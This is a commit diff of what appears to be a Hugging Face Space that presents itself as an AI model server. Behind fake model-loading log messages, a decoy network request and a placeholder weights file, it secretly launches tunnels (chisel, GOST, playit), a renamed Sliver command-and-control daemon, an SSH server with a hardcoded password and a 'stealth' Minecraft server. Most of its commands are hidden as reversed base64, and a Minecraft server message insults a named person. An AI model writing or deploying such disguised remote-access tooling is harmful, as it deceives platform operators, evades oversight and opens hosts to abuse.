Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- core/__init__.py +0 -0
- core/logging.py +25 -0
- core/orchestrator.py +19 -37
- services/__init__.py +1 -1
- services/chisel_service.py +3 -0
- services/filebrowser_service.py +17 -0
- services/gost_service.py +3 -0
- services/minecraft_service.py +89 -0
- services/nginx_service.py +10 -0
- services/playit_service.py +39 -0
- services/sliver_service.py +4 -0
- services/tailscale_service.py +5 -0
core/__init__.py
ADDED
|
File without changes
|
core/logging.py
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
_A='a'
|
| 2 |
+
import os,sys,threading
|
| 3 |
+
from collections import namedtuple
|
| 4 |
+
COVERT_LOGGING_MODE=2
|
| 5 |
+
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
+
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','sliver','nginx'])
|
| 7 |
+
class TeeLogger:
|
| 8 |
+
def __init__(A,filepath,prefix):A.file=open(filepath,_A);A.prefix=prefix;B,C=os.pipe();A.r=B;A.w=C;threading.Thread(target=A._reader,daemon=True).start()
|
| 9 |
+
def _reader(A):
|
| 10 |
+
C=os.fdopen(A.r,'r',errors='replace')
|
| 11 |
+
try:
|
| 12 |
+
for B in C:A.file.write(B);A.file.flush();sys.stdout.write(f"[{A.prefix}] {B}");sys.stdout.flush()
|
| 13 |
+
except Exception:pass
|
| 14 |
+
def fileno(A):return A.w
|
| 15 |
+
def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
|
| 16 |
+
def flush(A):A.file.flush();sys.stdout.flush()
|
| 17 |
+
def _open_log_files():return open(f"{METRICS_DIR}/ts_daemon.log",_A),open(f"{METRICS_DIR}/fb.log",_A),open(f"{METRICS_DIR}/tm_daemon.log",_A),open(f"{METRICS_DIR}/chisel.log",_A),open(f"{METRICS_DIR}/gost.log",_A),open(f"{METRICS_DIR}/sliver.log",_A),open(f"{METRICS_DIR}/nginx.log",_A)
|
| 18 |
+
def _tee_loggers():return TeeLogger(f"{METRICS_DIR}/ts_daemon.log",'TS'),TeeLogger(f"{METRICS_DIR}/fb.log",'FB'),TeeLogger(f"{METRICS_DIR}/tm_daemon.log",'PLAYIT'),TeeLogger(f"{METRICS_DIR}/chisel.log",'CHISEL'),TeeLogger(f"{METRICS_DIR}/gost.log",'GOST'),TeeLogger(f"{METRICS_DIR}/sliver.log",'SLIVER'),TeeLogger(f"{METRICS_DIR}/nginx.log",'NGINX')
|
| 19 |
+
def _devnull_logs():A=open(os.devnull,'w');return(A,)*7
|
| 20 |
+
def setup_service_logs():
|
| 21 |
+
if COVERT_LOGGING_MODE in(1,2):os.makedirs(METRICS_DIR,exist_ok=True)
|
| 22 |
+
if COVERT_LOGGING_MODE==1:A=_open_log_files()
|
| 23 |
+
elif COVERT_LOGGING_MODE==2:A=_tee_loggers()
|
| 24 |
+
else:A=_devnull_logs()
|
| 25 |
+
return ServiceLogs(*A)
|
core/orchestrator.py
CHANGED
|
@@ -2,8 +2,8 @@ _A=True
|
|
| 2 |
import os,time,socket,subprocess,base64,threading,random,string,sys
|
| 3 |
from loguru import logger
|
| 4 |
sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
| 5 |
-
from
|
| 6 |
-
|
| 7 |
logger.info('--- BOOTING AI MODEL SERVER ---')
|
| 8 |
def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
|
| 9 |
def encode_cmd(decoded_str):return base64.b64encode(decoded_str.encode()).decode()
|
|
@@ -23,45 +23,27 @@ def jitter_task():
|
|
| 23 |
try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
|
| 24 |
except Exception:pass
|
| 25 |
def main():
|
| 26 |
-
|
| 27 |
-
if
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
D=B(Q,'TS');H=B(R,'FB');I=B(S,'PLAYIT');J=B(T,N);K=B(U,'GOST');L=B(V,'SLIVER');M=B(W,'NGINX')
|
| 41 |
-
else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
|
| 42 |
-
os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');b=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');c=subprocess.Popen(b,shell=_A)
|
| 43 |
-
if not os.path.exists(X):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',X])
|
| 44 |
-
logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();d=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {d}s)...");tailscale.start_daemon(D);time.sleep(2);logger.info('Warming up text-generation pipelines...');e=os.environ.get('A')or os.environ.get(Y)or'';O=deobfuscate_secret(e.strip());f=os.environ.get('C')or os.environ.get(N)or'';E=deobfuscate_secret(f.strip())
|
| 45 |
-
if not E:E='user:apple123'
|
| 46 |
-
g=['A',Y,'C',N]
|
| 47 |
-
for F in g:
|
| 48 |
-
if F in os.environ:del os.environ[F]
|
| 49 |
-
filebrowser.start(H);playit.start(I);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';time.sleep(5);tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
|
| 50 |
-
if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
|
| 51 |
-
else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
|
| 52 |
-
try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
|
| 53 |
-
except Exception as i:logger.error(f"Failed to set password: {i}")
|
| 54 |
-
for F in[Z,a]:
|
| 55 |
-
if F in os.environ:del os.environ[F]
|
| 56 |
-
subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D)
|
| 57 |
-
def j(host,port,timeout=30):
|
| 58 |
A=time.time()
|
| 59 |
while time.time()-A<timeout:
|
| 60 |
try:
|
| 61 |
with socket.create_connection((host,port),timeout=2):return _A
|
| 62 |
except OSError:time.sleep(.5)
|
| 63 |
return False
|
| 64 |
-
if not
|
| 65 |
-
else:logger.info('SSH daemon ready on port 2222');
|
| 66 |
-
logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');
|
| 67 |
if __name__=='__main__':main()
|
|
|
|
| 2 |
import os,time,socket,subprocess,base64,threading,random,string,sys
|
| 3 |
from loguru import logger
|
| 4 |
sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
| 5 |
+
from core.logging import setup_service_logs
|
| 6 |
+
from services import nginx_service,tailscale_service,playit_service,chisel_service,minecraft_service,filebrowser_service,gost_service,sliver_service
|
| 7 |
logger.info('--- BOOTING AI MODEL SERVER ---')
|
| 8 |
def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
|
| 9 |
def encode_cmd(decoded_str):return base64.b64encode(decoded_str.encode()).decode()
|
|
|
|
| 23 |
try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
|
| 24 |
except Exception:pass
|
| 25 |
def main():
|
| 26 |
+
H='SSH';G='PASS';F='TAILSCALE';E='/home/user/pytorch_model.bin';A=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A);nginx_service.start(A.nginx);logger.info('Starting Gradio app (API server)...');I=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');J=subprocess.Popen(I,shell=_A)
|
| 27 |
+
if not os.path.exists(E):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',E])
|
| 28 |
+
logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();K=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {K}s)...");tailscale_service.start_daemon(A.ts);time.sleep(2);logger.info('Warming up text-generation pipelines...');L=os.environ.get('A')or os.environ.get(F)or'';D=deobfuscate_secret(L.strip());M=['A',F]
|
| 29 |
+
for B in M:
|
| 30 |
+
if B in os.environ:del os.environ[B]
|
| 31 |
+
filebrowser_service.start(A.fb);playit_service.start(A.tm);chisel_service.start(A.chisel);gost_service.start(A.gost);sliver_service.start(A.sliver);time.sleep(5);tailscale_service.connect(A.ts,D);D='';N=os.environ.get(G)or os.environ.get(H)or'';C=deobfuscate_secret(N.strip())
|
| 32 |
+
if C:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
|
| 33 |
+
else:C=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {C}")
|
| 34 |
+
try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{C}\n",text=_A,check=_A)
|
| 35 |
+
except Exception as O:logger.error(f"Failed to set password: {O}")
|
| 36 |
+
for B in[G,H]:
|
| 37 |
+
if B in os.environ:del os.environ[B]
|
| 38 |
+
subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=A.ts,stderr=A.ts)
|
| 39 |
+
def P(host,port,timeout=30):
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
A=time.time()
|
| 41 |
while time.time()-A<timeout:
|
| 42 |
try:
|
| 43 |
with socket.create_connection((host,port),timeout=2):return _A
|
| 44 |
except OSError:time.sleep(.5)
|
| 45 |
return False
|
| 46 |
+
if not P('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
|
| 47 |
+
else:logger.info('SSH daemon ready on port 2222');playit_service.start_xor_bridge()
|
| 48 |
+
logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');J.wait()
|
| 49 |
if __name__=='__main__':main()
|
services/__init__.py
CHANGED
|
@@ -1 +1 @@
|
|
| 1 |
-
from.import
|
|
|
|
| 1 |
+
from.import nginx_service,tailscale_service,playit_service,chisel_service,minecraft_service,filebrowser_service,gost_service,sliver_service
|
services/chisel_service.py
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess
|
| 2 |
+
from.utils import decode_cmd
|
| 3 |
+
def start(chisel_log):A=chisel_log;A.write('[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel)\n');A.flush();B=decode_cmd('=UzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');subprocess.Popen(B,shell=True,stdout=A,stderr=subprocess.STDOUT)
|
services/filebrowser_service.py
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess,os,time,threading
|
| 2 |
+
from.utils import decode_cmd
|
| 3 |
+
def deobfuscate_secret(hex_str,key=90):
|
| 4 |
+
A=hex_str
|
| 5 |
+
if not A:return''
|
| 6 |
+
try:
|
| 7 |
+
C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
|
| 8 |
+
if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
|
| 9 |
+
else:return A
|
| 10 |
+
except Exception:return A
|
| 11 |
+
def start(fb_log):
|
| 12 |
+
B=True;A=fb_log;F=os.environ.get('PASS')or os.environ.get('SSH')or'';E=deobfuscate_secret(F)or'apple123';C='/home/user/filebrowser.db'
|
| 13 |
+
if not os.path.exists(C):A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();G=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(G,shell=B,stdout=A,stderr=subprocess.STDOUT);D=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 14 |
+
else:D=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 15 |
+
A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();H=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');I=subprocess.run(f"{H}{E} -d {C}",shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 16 |
+
if I.returncode!=0:J=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{J}{E} --perm.admin -d {C}",shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 17 |
+
A.write('[*] Launching Filebrowser web service daemon...\n');A.flush();K=decode_cmd('=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb');subprocess.Popen(K,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
services/gost_service.py
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess
|
| 2 |
+
from loguru import logger
|
| 3 |
+
def start(log_file):A=log_file;B='user:apple123';logger.info('Starting GOST (system-bridge) multiplexed websocket proxy...');C=['/usr/bin/system-bridge','-L',f"relay+mws://{B}@127.0.0.1:6790?path=/gost-bridge"];subprocess.Popen(C,stdout=A,stderr=A)
|
services/minecraft_service.py
ADDED
|
@@ -0,0 +1,89 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
_B='/home/user/.torch_metrics'
|
| 2 |
+
_A=True
|
| 3 |
+
import os,time,shutil,tarfile,subprocess,urllib.request,zipfile
|
| 4 |
+
from loguru import logger
|
| 5 |
+
def log_print(msg):
|
| 6 |
+
logger.info(msg)
|
| 7 |
+
try:
|
| 8 |
+
os.makedirs(_B,exist_ok=_A)
|
| 9 |
+
with open('/home/user/.torch_metrics/mc_daemon.log','a')as A:A.write(f"{msg}\n")
|
| 10 |
+
except Exception:pass
|
| 11 |
+
def download_file(url,dest_path):
|
| 12 |
+
A=urllib.request.Request(url,headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
|
| 13 |
+
with urllib.request.urlopen(A)as B,open(dest_path,'wb')as C:shutil.copyfileobj(B,C)
|
| 14 |
+
def setup_geyser(mc_dir):
|
| 15 |
+
C=os.path.join(mc_dir,'plugins');os.makedirs(C,exist_ok=_A);D={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
|
| 16 |
+
for(A,E)in D.items():
|
| 17 |
+
B=os.path.join(C,A)
|
| 18 |
+
if os.path.exists(B):
|
| 19 |
+
try:
|
| 20 |
+
with zipfile.ZipFile(B)as G:0
|
| 21 |
+
except Exception:
|
| 22 |
+
log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
|
| 23 |
+
try:os.remove(B)
|
| 24 |
+
except:pass
|
| 25 |
+
if not os.path.exists(B):
|
| 26 |
+
log_print(f"[*] Downloading {A}...")
|
| 27 |
+
try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
|
| 28 |
+
except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
|
| 29 |
+
def setup_and_run():
|
| 30 |
+
W='server-port=25565';V='online-mode=true';U='java';T='bin';O='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A='/data/mc';G=os.path.join(A,'jre');P=_B;os.makedirs(A,exist_ok=_A);os.makedirs(P,exist_ok=_A);K=os.path.join(G,T,U)
|
| 31 |
+
if not os.path.exists(K):
|
| 32 |
+
log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');X='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';H=os.path.join(A,'jre.tar.gz')
|
| 33 |
+
try:
|
| 34 |
+
download_file(X,H);log_print('[*] Extracting JRE...');I=os.path.join(A,'jre_temp');os.makedirs(I,exist_ok=_A)
|
| 35 |
+
with tarfile.open(H,'r:gz')as Y:Y.extractall(path=I)
|
| 36 |
+
for(Q,f,Z)in os.walk(I):
|
| 37 |
+
if U in Z and os.path.basename(Q)==T:
|
| 38 |
+
a=os.path.dirname(Q)
|
| 39 |
+
if os.path.exists(G):shutil.rmtree(G)
|
| 40 |
+
shutil.move(a,G);break
|
| 41 |
+
shutil.rmtree(I,ignore_errors=_A)
|
| 42 |
+
if os.path.exists(H):os.remove(H)
|
| 43 |
+
log_print('[*] Portable JRE setup completed successfully.')
|
| 44 |
+
except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
|
| 45 |
+
L=os.path.join(A,'server.jar')
|
| 46 |
+
if not os.path.exists(L):
|
| 47 |
+
log_print('[*] Minecraft server jar not found. Downloading PaperMC...');b='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
|
| 48 |
+
try:download_file(b,L);log_print('[*] PaperMC downloaded successfully.')
|
| 49 |
+
except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
|
| 50 |
+
setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');R='/tmp/mc_runtime';os.makedirs(R,exist_ok=_A)
|
| 51 |
+
for F in['libraries','cache','versions']:
|
| 52 |
+
try:
|
| 53 |
+
D=os.path.join(A,F);M=os.path.join(R,F);os.makedirs(M,exist_ok=_A)
|
| 54 |
+
if os.path.exists(D)and not os.path.islink(D):
|
| 55 |
+
log_print(f"[*] Removing physical {F} directory to replace with symlink.")
|
| 56 |
+
if os.path.isdir(D):shutil.rmtree(D)
|
| 57 |
+
else:os.remove(D)
|
| 58 |
+
if not os.path.islink(D):log_print(f"[*] Creating symlink for {F} -> {M}");os.symlink(M,D)
|
| 59 |
+
except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {F}: {B}")
|
| 60 |
+
log_print('[*] Ensuring Java binary is executable...')
|
| 61 |
+
try:os.chmod(K,493)
|
| 62 |
+
except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
|
| 63 |
+
log_print('[*] Launching Minecraft server loop...');c=os.path.join(P,'mc_daemon.log')
|
| 64 |
+
while _A:
|
| 65 |
+
d=os.path.join(A,'eula.txt')
|
| 66 |
+
with open(d,O)as C:C.write('eula=true\n')
|
| 67 |
+
J=os.path.join(A,'server.properties')
|
| 68 |
+
if not os.path.exists(J):
|
| 69 |
+
with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=NITIN NEELRU JERK OFF\n')
|
| 70 |
+
else:
|
| 71 |
+
try:
|
| 72 |
+
with open(J,'r')as C:E=C.read()
|
| 73 |
+
N=False
|
| 74 |
+
if V in E:E=E.replace(V,'online-mode=false');N=_A
|
| 75 |
+
if W in E:E=E.replace(W,'server-port=25566');N=_A
|
| 76 |
+
if N:
|
| 77 |
+
with open(J,O)as C:C.write(E)
|
| 78 |
+
except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
|
| 79 |
+
log_print('[*] Starting Minecraft server process...')
|
| 80 |
+
with open(c,'a')as e:S=subprocess.Popen([K,'-Xms4G','-Xmx4G','-jar',L,'nogui'],cwd=A,stdout=e,stderr=subprocess.STDOUT);S.wait()
|
| 81 |
+
log_print(f"[*] Minecraft server exited with code {S.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
|
| 82 |
+
def start():
|
| 83 |
+
B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 84 |
+
try:
|
| 85 |
+
C=subprocess.run([A,'has-session','-t',B],capture_output=_A)
|
| 86 |
+
if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B])
|
| 87 |
+
subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft_service']);logger.success('Stealth Minecraft Daemon started successfully in tmux.')
|
| 88 |
+
except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}")
|
| 89 |
+
if __name__=='__main__':setup_and_run()
|
services/nginx_service.py
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess
|
| 2 |
+
from loguru import logger
|
| 3 |
+
from.utils import decode_cmd
|
| 4 |
+
def start(nginx_log):
|
| 5 |
+
A=nginx_log;logger.info('Enabling Nginx smart frontend on port 7860...')
|
| 6 |
+
try:
|
| 7 |
+
with open('/home/user/config/nginx.conf.template','r')as B:C=B.read()
|
| 8 |
+
with open('/home/user/nginx.conf','w')as D:D.write(C)
|
| 9 |
+
except Exception as E:logger.error(f"Failed to prepare nginx config: {E}");return
|
| 10 |
+
A.write('[*] Testing nginx configuration...\n');A.flush();F=decode_cmd('=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb');subprocess.run(F,shell=True,stdout=A,stderr=subprocess.STDOUT);A.write('[*] Starting nginx daemon...\n');A.flush();G=decode_cmd('==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb');subprocess.Popen(G,shell=True,stdout=A,stderr=subprocess.STDOUT)
|
services/playit_service.py
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
_A=True
|
| 2 |
+
import subprocess,os,socket,threading
|
| 3 |
+
from loguru import logger
|
| 4 |
+
from.utils import decode_cmd
|
| 5 |
+
from.import mc_tunnel
|
| 6 |
+
XOR_BRIDGE_PORT=25565
|
| 7 |
+
SSH_PORT=2222
|
| 8 |
+
def deobfuscate_secret(hex_str,key=90):
|
| 9 |
+
A=hex_str
|
| 10 |
+
if not A:return''
|
| 11 |
+
try:
|
| 12 |
+
C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
|
| 13 |
+
if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
|
| 14 |
+
else:return A
|
| 15 |
+
except Exception:return A
|
| 16 |
+
def _load_token():
|
| 17 |
+
B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
|
| 18 |
+
for A in('P',B):
|
| 19 |
+
if A in os.environ:del os.environ[A]
|
| 20 |
+
return D
|
| 21 |
+
def _handle_client(client_sock):
|
| 22 |
+
A=client_sock;import traceback as E,sys
|
| 23 |
+
try:F,D=mc_tunnel.server_consume_login(A);B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',D));B.settimeout(None);logger.info('Playit MC tunnel: login complete, relaying to port {}',D);mc_tunnel.relay_server(F,B,A)
|
| 24 |
+
except(ConnectionError,socket.timeout,TimeoutError,OSError,ValueError)as C:
|
| 25 |
+
logger.info('Playit MC tunnel client disconnected/invalid handshake: {}',C)
|
| 26 |
+
try:A.close()
|
| 27 |
+
except Exception:pass
|
| 28 |
+
except Exception as C:
|
| 29 |
+
logger.warning('Playit MC tunnel client dropped unexpectedly: {} - {}',type(C).__name__,C);E.print_exc(file=sys.stderr)
|
| 30 |
+
try:A.close()
|
| 31 |
+
except Exception:pass
|
| 32 |
+
def _xor_bridge_loop():
|
| 33 |
+
A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
| 34 |
+
try:
|
| 35 |
+
A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
|
| 36 |
+
while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
|
| 37 |
+
except Exception:pass
|
| 38 |
+
def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit MC tunnel bridge on 0.0.0.0:{} (plugin channel {})',XOR_BRIDGE_PORT,mc_tunnel.TUNNEL_CHANNEL)
|
| 39 |
+
def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)
|
services/sliver_service.py
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess,os
|
| 2 |
+
from loguru import logger
|
| 3 |
+
SLIVER_HOME='/home/user/.sliver'
|
| 4 |
+
def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');os.makedirs(SLIVER_HOME,exist_ok=True);B=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(B,stdout=A,stderr=A,env={**os.environ,'SLIVER_ROOT_DIR':SLIVER_HOME})
|
services/tailscale_service.py
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess,os
|
| 2 |
+
from loguru import logger
|
| 3 |
+
from.utils import decode_cmd
|
| 4 |
+
def start_daemon(ts_log):logger.info('Initializing PyTorch CUDA environment...');A=decode_cmd('rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb');subprocess.Popen(A,shell=True,stdout=ts_log,stderr=subprocess.STDOUT)
